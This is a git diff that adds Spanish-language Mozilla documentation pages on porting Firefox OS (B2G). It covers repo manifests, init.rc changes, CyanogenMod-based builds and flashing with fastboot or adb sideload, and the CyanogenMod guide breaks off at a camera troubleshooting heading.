+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/tagsoup"</span> <span class="na">name=</span><span class="s">"platform/external/tagsoup"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/tinyalsa"</span> <span class="na">name=</span><span class="s">"platform/external/tinyalsa"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/tremolo"</span> <span class="na">name=</span><span class="s">"platform/external/tremolo"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/webp"</span> <span class="na">name=</span><span class="s">"platform/external/webp"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/webrtc"</span> <span class="na">name=</span><span class="s">"platform/external/webrtc"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/wpa_supplicant"</span> <span class="na">name=</span><span class="s">"platform/external/wpa_supplicant"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/wpa_supplicant_8"</span> <span class="na">name=</span><span class="s">"platform/external/wpa_supplicant_8"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/zlib"</span> <span class="na">name=</span><span class="s">"platform/external/zlib"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/yaffs2"</span> <span class="na">name=</span><span class="s">"platform/external/yaffs2"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"frameworks/base"</span> <span class="na">name=</span><span class="s">"platform/frameworks/base"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"frameworks/opt/emoji"</span> <span class="na">name=</span><span class="s">"platform/frameworks/opt/emoji"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"frameworks/support"</span> <span class="na">name=</span><span class="s">"platform/frameworks/support"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"hardware/libhardware"</span> <span class="na">name=</span><span class="s">"platform/hardware/libhardware"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"hardware/libhardware_legacy"</span> <span class="na">name=</span><span class="s">"platform/hardware/libhardware_legacy"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"hardware/ril"</span> <span class="na">name=</span><span class="s">"platform/hardware/ril"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"libcore"</span> <span class="na">name=</span><span class="s">"platform/libcore"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"ndk"</span> <span class="na">name=</span><span class="s">"platform/ndk"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"prebuilt"</span> <span class="na">name=</span><span class="s">"platform/prebuilt"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"system/bluetooth"</span> <span class="na">name=</span><span class="s">"platform/system/bluetooth"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"system/core"</span> <span class="na">name=</span><span class="s">"platform/system/core"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"system/extras"</span> <span class="na">name=</span><span class="s">"platform/system/extras"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"system/media"</span> <span class="na">name=</span><span class="s">"platform/system/media"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"system/netd"</span> <span class="na">name=</span><span class="s">"platform/system/netd"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"system/vold"</span> <span class="na">name=</span><span class="s">"platform/system/vold"</span> <span class="nt">/&gt;</span>
+
+
+  <span class="c">&lt;!-- Cosas de tu dispositivo  --&gt;</span>
+
+
+
+<span class="nt">&lt;/manifest&gt;</span></pre>
+  <p><span class="nt">El archivo manifesto es muy facil de crear, simplemente necesitaras el codigo anterior y entenderlo un poco. Copia el codigo anterior</span></p>
+  <h2 id="Booteo_de_B2G">Booteo de B2G</h2>
+</div>
+<h3 id="Recompilar_boot.img">Recompilar boot.img</h3>
+<p>Una vez lo tengas todo hecho, necesitas recompilar la imágen de arranque. Esto no suele ser necesario para el propio Kernel, pero recoge los cambios en  <code>init.rc</code>.</p>
+<h4 id="Cambios_a_init.rc">Cambios a init.rc</h4>
+<p>El init.rc que utilizas <strong>no</strong> es el proporcionado por B2G; en su lugar, tienes que tirarlo desde el dispositivo</p>
+<p>Las principales cosas que necesitarás modificar son:</p>
+<h5 id="Importar_init.b2g.rc">Importar init.b2g.rc</h5>
+<p>Añade las siguientes líneas para importar <code>init.b2g.rc</code>:</p>
+<pre>on early-init
+    start ueventd
+    import /init.b2g.rc</pre>
+<h5 id="Fijar_permisos">Fijar permisos</h5>
+<p>Corrige los permisos en los archivos <code>/system/b2g/b2g</code>, <code>/system/b2g/updater</code>, <code>/system/b2g/plugin-container</code>; esto se deberá hacer después de las líneas que montan los archivos del sistema de lectura/escritura:</p>
+<pre>chmod 0755 /system/b2g/b2g
+chmod 0755 /system/b2g/updater
+chmod 0755 /system/b2g/plugin-container</pre>
+<p>Es posible que quieras iniciar modificando <code>init.rc</code> del nuevo dispositivo en vez de usar el <code>init.rc</code> proveido por la compilación del sistema; si es así, necesitas recordar configurar <code>TARGET_PROVIDES_INIT_RC</code> en <code>BoardConfig.mk</code>.</p>
+<h3 id="Kernel_precompilado_vs._compilando_el_kernel_desde_una_fuente">Kernel precompilado vs. compilando el kernel desde una fuente</h3>
+<p>Puedes usar un Kernel precompilado, o podrías compilar el Kernel desde una fuente. Para compilar el Kernel desde una fuente, añade AndroidKernel.mk  y la configuración del kernel al árbol de configuración del dispositivo.</p>
+<p>El <a href="https://github.com/andreasgal/B2G/tree/master/glue/gonk/device/toro/maguro" title="https://github.com/andreasgal/B2G/tree/master/glue/gonk/device/toro/maguro">maguro</a> en la vieja compilación del sistema es un ejemplo de compilación del kernel desde una fuente.</p>
+<h2 id="Flasheo_del_dispositivo">Flasheo del dispositivo</h2>
+<h3 id="Añade_el_nuevo_dispositivo_a_flash.sh">Añade el nuevo dispositivo a flash.sh</h3>
+<p>Añade el nuevo dispositivo a  <code>flash.sh</code>; las especificaciones de como hacer esto dependerán de que herramientas necesitas usar para flashear el nuevo dispositivo.</p>
+<h2 id="Primer_arranque">Primer arranque</h2>
+<h3 id="Configura_compila_y_flashea_el_nuevo_dispositivo">Configura, compila y  flashea el nuevo dispositivo</h3>
+<p>Ahora puedes probar compilando y flasheando tu nuevo dispositivo:</p>
+<pre>ANDROIDFS_DIR=my_device_backup ./config.sh &lt;device_id&gt; default.xml
+./build.sh
+./flash.sh</pre>
+<h3 id="Probar_y_depurar">Probar y depurar</h3>
+<p>Necesitamos añadir algunos detalles aqui; de hecho, este artículo podría usar algo de ayuda.</p>
+<h2 id="FAQ">FAQ</h2>
+<h3 id="¿A_que_dispiositivos_se_le_puede_hacer_Port">¿A que dispiositivos se le puede hacer Port?</h3>
+<p>Si tu dispositivo corre Android 4.0.4 lo mas probable es que pueda correr FirefoxOS, no obstante no quiere decir que a la primera correra sin ningun problema. El Porting es todo un proceso de prueba y error, es posible que tardes mas tiempo solucionando problemas en los archivos que compiles, que recopilandolos todos.</p>
+<h3 id="Mi_dispositivo_es_de_arquitectura_ARMv6_¿correra_alli">Mi dispositivo es de arquitectura ARMv6, ¿correra alli?</h3>
+<p>Puede que si o puede que no, todo depende de tus conocimientos y de hasta donde puedas llegar con el Port, por ahora solo se conoce un caso en los foros de Geeksphone en donde un usuario a logrado completar un Port estable a uno de los telefonos que ofrece Geeksphone de arquitectura ARMv6.</p>
+<h3 id="¿Alguien_mas_esta_trabajando_en_realizar_Port_a_los_diferentes_dispositivos">¿Alguien mas esta trabajando en realizar Port a los diferentes dispositivos?</h3>
+<p>Quienes realizan los Port son desarrolladores, geeks o mozillians. No se puede definir un equipo especial de Mozilla que este trabajando en ello. Por otro lado la comunidad Mozilla Hispano tiene un proyecto conformado por un grupo de personas con el fin de lograr el Port a varios dispositivos. Para mas informacion puedes visitar este <a href="https://www.mozilla-hispano.org/documentacion/Droid2Fox" title="link">link</a>.</p>
+<h3 id="¿Necesito_algunos_conocimientos_previos_para_empezar_a_realizar_el_Port">¿Necesito algunos conocimientos previos para empezar a realizar el Port?</h3>
+<p>Si, de hecho hay dos tipos de casos que pueden suceder mientras realices el Port. El primero de ellos es que tengas la suerte de que todos los sources y archivos que encuentre en Github para tu Port esten bien y compilen sin ningun problema (Poco probable que suceda). El segundo caso es que te toque re escribir algunos, si no son todos los archivos y sources de tu dispositivo para lograr que compilen y que arranquen FirefoxOS (Es lo que probablemente te pueda suceder con seguridad). Por lo que por recomendacion, seria bueno que tuvieras previos conocimientos acerca del funcionamiento de Android, algo de C y C++.</p>
+<h2 id="Mira_también">Mira también</h2>
+<ul>
+  <li><a href="https://developer.mozilla.org/es/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Boot_to_Gecko">Boot to Gecko</a></li>
+  <li><a href="https://github.com/mozilla-b2g/B2G" title="https://github.com/mozilla-b2g/B2G">Código fuente de B2G en Github</a></li>
+  <li><a href="http://www.android.com/" title="http://www.android.com/">Sitio web de Android</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/porting_firefox_os/index.html b/files/es/archive/b2g_os/porting_firefox_os/index.html
new file mode 100644
index 0000000000..9da87c1802
--- /dev/null
+++ b/files/es/archive/b2g_os/porting_firefox_os/index.html
@@ -0,0 +1,71 @@
+---
+title: Porting Firefox OS
+slug: Archive/B2G_OS/Porting_Firefox_OS
+tags:
+  - Firefox OS
+  - NeedsTranslation
+  - TopicStub
+  - porting
+translation_of: Archive/B2G_OS/Porting_B2G_OS
+---
+<p></p><section class="Quick_links" id="Quick_Links">
+
+<ol>
+  <li class="toggle">
+      <details>
+          <summary>Build and install</summary>
+          <ol>
+            <li><strong><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Porting B2G OS</summary>
+          <ol>
+            <li><strong><a href="/es/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Developing Gaia</summary>
+          <ol>
+            <li><strong><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li>
+          </ol>
+      </details>
+  </li>
+  <li><a href="/es/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li>
+</ol>
+</section><p></p><p class="summary">This page lists the available resources for porting Firefox OS.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Porting_Firefox_OS/basics">Porting basics</a></dt>
+ <dd>Basic information about how to port Firefox OS to new devices.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Developing_Firefox_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></dt>
+ <dd>This article explains how to port Firefox using CyanogenMod.</dd>
+</dl>
diff --git a/files/es/archive/b2g_os/porting_firefox_os/portando_de_cyanogenmod/index.html b/files/es/archive/b2g_os/porting_firefox_os/portando_de_cyanogenmod/index.html
new file mode 100644
index 0000000000..cc9e9b19a1
--- /dev/null
+++ b/files/es/archive/b2g_os/porting_firefox_os/portando_de_cyanogenmod/index.html
@@ -0,0 +1,239 @@
+---
+title: Portando en CyanogenMod
+slug: Archive/B2G_OS/Porting_Firefox_OS/Portando_de_CyanogenMod
+translation_of: Archive/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod
+---
+<p></p><section class="Quick_links" id="Quick_Links">
+
+<ol>
+  <li class="toggle">
+      <details>
+          <summary>Build and install</summary>
+          <ol>
+            <li><strong><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Porting B2G OS</summary>
+          <ol>
+            <li><strong><a href="/es/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Developing Gaia</summary>
+          <ol>
+            <li><strong><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li>
+          </ol>
+      </details>
+  </li>
+  <li><a href="/es/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li>
+</ol>
+</section><p></p>
+
+<p class="summary">Firefox OS es tradicionalmente compilado encima de <a href="https://android.googlesource.com/">AOSP</a>. Esto no significa que nosotros solamente usemos AOSP. <span id="result_box" lang="es"><span class="hps">Varias</span> <span class="hps">ramas (forks) de</span> <span class="hps">AOSP</span> <span class="hps">existen</span> <span class="hps">que tienen como objetivo</span> <span class="hps">apoyar</span> <span class="hps">una amplia</span> <span class="hps">gama de hardware</span></span>. <a href="http://www.cyanogenmod.org/">CyanogenMod</a>, el fork mas popular de AOSP, incluye cientos de añadiduras, modificaciones, y hacks para dar soporte a <a href="http://get.cm/">cientos de disposivitos Android al por menor</a>. <span class="seoSummary">Este articulo explica como portar Firefox OS usando CyanogenMod.</span></p>
+
+<p>Cuando compilamos Firefox OS encima de CyanogenMod podemos dar soporte al mismo numero de despositivos que CyanogenMod soporta. Debido a la gran cantidad de dispositivos soportados por CyanogenMod, <span id="result_box" lang="es"><span class="hps">es muy probable</span> <span class="hps">que ya tengas</span> <span class="hps">un dispositivo para el cual puedas compilar</span><span>.</span></span></p>
+
+<div class="warning"><strong>Importante</strong>: Esta guía es solamente para usuarios avanzados; debes de saber al menos cómo compilar CyanogenMod o AOSP.</div>
+
+<p>Si nunca has compilado CyanogenMod para tu dispositivo entonces te sugerimos insistentemente que <a href="https://wiki.cyanogenmod.org/w/Build_Guides">aprendas como hacerlo</a> antes de portar Firefox OS. Esto tiene dos propositos: aprenderás como usar las herramientas necesarias para portar Firefox OS, y verificarás la calidad del 'port' de CyanogenMod.</p>
+
+<p>Más explícitamente, ésta guía asume que tu dispositivo esta desbloqueado y tiene CyanogenMod instalado. Esta guia <em>no</em> te enseñara como rootear y/o desbloquear tu dispositivo, o como preparar tu maquina para compilar o como usar git para solucionar los fallos de combinación.</p>
+
+<p>Un resumen de los pasos a seguir es el siguiente:</p>
+
+<ol>
+ <li>Descargar el codigo fuente</li>
+ <li>Modificar los 'repos' del dispositivo</li>
+ <li>Modicar el núcleo</li>
+ <li>Compilar e Instalar</li>
+</ol>
+
+<h2 id="Descargar_el_código_de_fuente">Descargar el código de fuente</h2>
+
+<div class="warning"><strong>Para hacer:</strong> Convinar el manifiesto de mozilla-b2g: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1211870">Bugzilla: 1211870</a>.</div>
+
+<p>Tenemos varias herramientas útiles para construir Firefox OS, todas ellas contenidas en un simple repositorio. Descárga estas herramientas por <strong><code>git</code></strong> para crear tu directorio de trabajo.</p>
+
+<pre><code>git clone https://github.com/cm-b2g/B2G.git &amp;&amp; cd B2G</code>
+</pre>
+
+<p>Hecho esto, necesitamos descargar el código fuente:</p>
+
+<pre><code>./config.sh cm-porting</code>
+</pre>
+
+<p>El archivo <strong><code>config.sh</code></strong>  inicializa la herramienta <code>repo usando el manifiesto </code> <strong><code>base-l-cm.xml</code></strong>  que se encuentra en el repositorio <strong><code>b2g-manifest</code></strong>.  Éste archivo XML es en realidad una lista de repositorios específicos del SO necesarios para construir B2G OS.  Luego, utiliza la herramienta <strong><code>repo</code></strong> para descargar todo el código de fuente.</p>
+
+<p>La descarga de estos repositorios, muchos de los cuales tienen varias gigas,  tomará bastante tiempo, así que te recomendamos hacer esto en la noche si tienes una conección lenta, o justo después del almuerzo si tienes una conección rápida.</p>
+
+<p>Este paso también crea un archivo <strong><code>.config</code></strong> que podrás editar después.</p>
+
+<h2 id="Manifiesto_local_para_tu_dispositivo">Manifiesto local para tu dispositivo</h2>
+
+<p>El manifiesto anterior no contiene ningún repositorio específico de dispositivo, asunto diferente al típico manifiesto. Necesitaremos entonces crear un <strong><code>local_manifest.xml</code></strong> con todos los repositorios de tu dispositivo. La manera más rápida de hacerlo es usando <strong><code>breakfast</code></strong>, un herramienta automática escrita por CyanogenMod para crear un manifiesto local y descargar los repositorios adicionales directamente de la cuenta de CyanogenMod en GitHub.</p>
+
+<pre><code>. build/envsetup.sh &amp;&amp; breakfast 123</code>
+</pre>
+
+<p>Reemplace 123 por el nombre clave de su dispositivo.</p>
+
+<p>Si tu dispositivo no está oficialmente soportado por CyanogenMod, pero hay un 'port' no oficial, tu puedes crear el archivo <strong><code>local_manifest.xml</code></strong> manualmente en la carpeta  <strong><code>.repo/local_manifests</code></strong>.</p>
+
+<pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;manifest&gt;
+     &lt;remote name="xyz" fetch="git://github.com/xyz/" revision="cm-12.1" /&gt;
+     &lt;project name="device_oem_123" path="device/oem/123" remote="xyz" /&gt;
+     &lt;project name="device_oem_1xx-common" path="device/oem/1xx-common" remote="xyz" /&gt;
+     &lt;project name="kernel_oem_1xx" path="kernel/oem/1xx" remote="xyz" /&gt;
+     &lt;project name="vendor_oem" path="vendor/oem" remote="xyz" /&gt;
+&lt;/manifest&gt;</code>
+</pre>
+
+<p>Recuerda correr <strong><code>repo sync</code></strong> cuando hayas creado tu manifiesto.</p>
+
+<h2 id="Modificar_los_'repos'_del_dispositivo">Modificar los 'repos' del dispositivo</h2>
+
+<p>Parte de la configuración de un dispositivo se encuentra en los archivos XML de superposición, usados por el sistema de construcción AOSP para establecer las opciones por defecto en las apps de Android. Firefox OS no los usa así que podemos reimplementar algunas de estas opciones, tales como el botón de inicio de la pantalla, el almacenamiento emulado, etc.</p>
+
+<p>Podemos establecer opciones predeterminadas más sanas mediante la inclusión de dos archivos desde <strong><code>vendor/cm</code></strong>. La primera línea podría ser agregada en la parte superior de <strong><code>device.mk</code></strong> y la segunda en la parte inferior de <strong><code>BoardConfig.mk</code></strong>:</p>
+
+<pre><code># Extra mk import at the top of device.mk
+$(call inherit-product, vendor/cm/config/common_full.mk)
+
+# Extra mk import at the bottom of BoardConfig.mk
+include vendor/cm/BoardConfig.mk</code>
+</pre>
+
+<p>Todavía se necesitan más opciones, ya que muchas son propiamente específicas del dispositivo . A continuación encontrarás una lista de adiciones y eliminaciones específicas de dispositivos comunes. Esta lista no es exhaustiva, pero agregando las dos líneas mencionadas arriba y configurando todas las de abajo,  tendrás un sistema funcional.</p>
+
+<pre><code># for Gecko to use the correct resolution assets
+# Valid options are: 1.5 | 2 | 2.25
+GAIA_DEV_PIXELS_PER_PX := 2.25</code>
+</pre>
+
+<pre><code># for Gecko to use the correct boot animation
+# Valid options are: hvga | fwvga | qHD | 720p | 1080p
+BOOTANIMATION_ASSET_SIZE := 1080p</code>
+</pre>
+
+<pre><code># for Gecko to support separate internal storage partition
+# This is for legacy devices only. You must prvide your own volume.cfg file
+GECKO_BOARD_SEPARATE_STORAGE_PARTITON := true</code>
+</pre>
+
+<pre><code># for Gecko to support virtual home button
+PRODUCT_PROPERTY_OVERRIDES += \
+    ro.moz.has_home_button=0</code>
+</pre>
+
+<pre><code># for Gecko to support usb mass storage
+# You may need to add mass_storage to init.oem.usb.rc
+PRODUCT_DEFAULT_PROPERTY_OVERRIDES += \
+-    persist.sys.usb.config=mtp
++    persist.sys.usb.config=mass_storage</code>
+</pre>
+
+<pre><code># for Gecko to support NFC
+PRODUCT_PROPERTY_OVERRIDES += \
+    ro.moz.nfc.enabled=true
+
+PRODUCT_PACKAGES += \
+    nfcd</code>
+</pre>
+
+<pre><code># Changes in init.device.rc
+-on property:init.svc.bootanim=running
+-on property:init.svc.bootanim=stopped
+-on property:service.bootanim.exit=1
++on property:sys.boot_completed=1</code>
+</pre>
+
+<h2 id="Modificar_el_núcleo">Modificar el núcleo</h2>
+
+<p>Necesitamos habilitar en el núcleo algunas características de seguridad adicionales para Firefox OS. Estas características no estaban presentes en núcleos Android hasta Marshmallow así que muchos dispositivos necesitarán algunos parches 'backported' adicionales para el núcleo. Más información al respecto en <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=790923">Bugzilla: 790923</a>.</p>
+
+<p>Es suficiente tomar la mejor selección de parches para tu núcleo; el sistema de compilación habilitará automáticamente las nuevas características. Para un trabajo de ejemplo ver el <a href="https://github.com/cm-b2g/android_kernel_lge_msm8974/commits/b2g/cm-12.1-YOG7D">LGE MSM8994 kernel</a>.</p>
+
+<div class="warning"><strong>Importante</strong>: Este paso es obligatorio. Firefox OS no arrancará sin estas características de seguridad.</div>
+
+<h2 id="Compilar_e_instalar">Compilar e instalar</h2>
+
+<p>¿Recuerdas el archivo <strong><code>.config</code></strong> creado anteriormente? Ahora necesitamos reemplazar <strong><code>cm-porting</code></strong> con el nombre clave de tu dispositivo.</p>
+
+<pre><code>$ grep -r PRODUCT_NAME device/oem/123</code>
+</pre>
+
+<p>Nota: No uses el valor en cm.mk, usa el que está en <strong><code>device.mk</code></strong>, este debería ser algo como <strong><code>full_123</code></strong>. Puedes hacer el reemplazo manualmente o con <strong><code>sed</code></strong>:</p>
+
+<pre><code>$ sed -i "s/cm-porting/full_123/g" .config</code>
+</pre>
+
+<p>Ahora es momento de comenzar la compilación:</p>
+
+<pre><code>$ ./bldcm.sh</code>
+</pre>
+
+<p>Esto tomará, en todo caso, de 30 minutos a un par de horas dependiendo de tu PC, así que podría ser un buen momento para ir a la tienda y preparar algo de comer, o ayudar en las tareas de la casa.</p>
+
+<h3 id="Instalar_Firefox_OS_a_través_de_fastboot">Instalar Firefox OS a través de fastboot</h3>
+
+<p>Si tu dispositivo soporta <strong><code>fastboot</code></strong>, puedes simplemente mandar las imágenes de partición directamente al dispositivo:</p>
+
+<pre><code>cd out/target/product/123/
+fastboot flash boot boot.img
+fastboot flash recovery recovery.img
+fastboot flash system system.img
+fastboot flash userdata userdata.img</code>
+</pre>
+
+<h3 id="Instalar_Firefox_OS_através_del_recovery">Instalar Firefox OS através del recovery</h3>
+
+<p>Si tu dispositivo no soporta fastboot entonces puedes usar <strong><code>update.zip</code></strong> en su lugar. Este puede ser inicializado por el dispositivo a través de <strong><code>adb sideload</code></strong>. Una vez allí, deberás mandar el archivo .zip:</p>
+
+<pre><code>adb sideload out/target/product/123/fota/fullimg/update.zip</code>
+</pre>
+
+<h2 id="Solución_de_problemas">Solución de problemas</h2>
+
+<p>¿Algo no funciona? ¡Es momento de remangarse la camisa!</p>
+
+<p>Lo primero que debes hacer es determinar si la característica está funcionando en CyanogenMod. Puede que simplemente falte  alguna configuración para Firefox OS.</p>
+
+<p>Si la característica no funciona en CyanogenMod entonces significa que debes implementarla para tu 'port'. Sería bueno si también presionas tu revisión yendo atrás en el código.</p>
+
+<h3 id="Cámara">Cámara</h3>
+
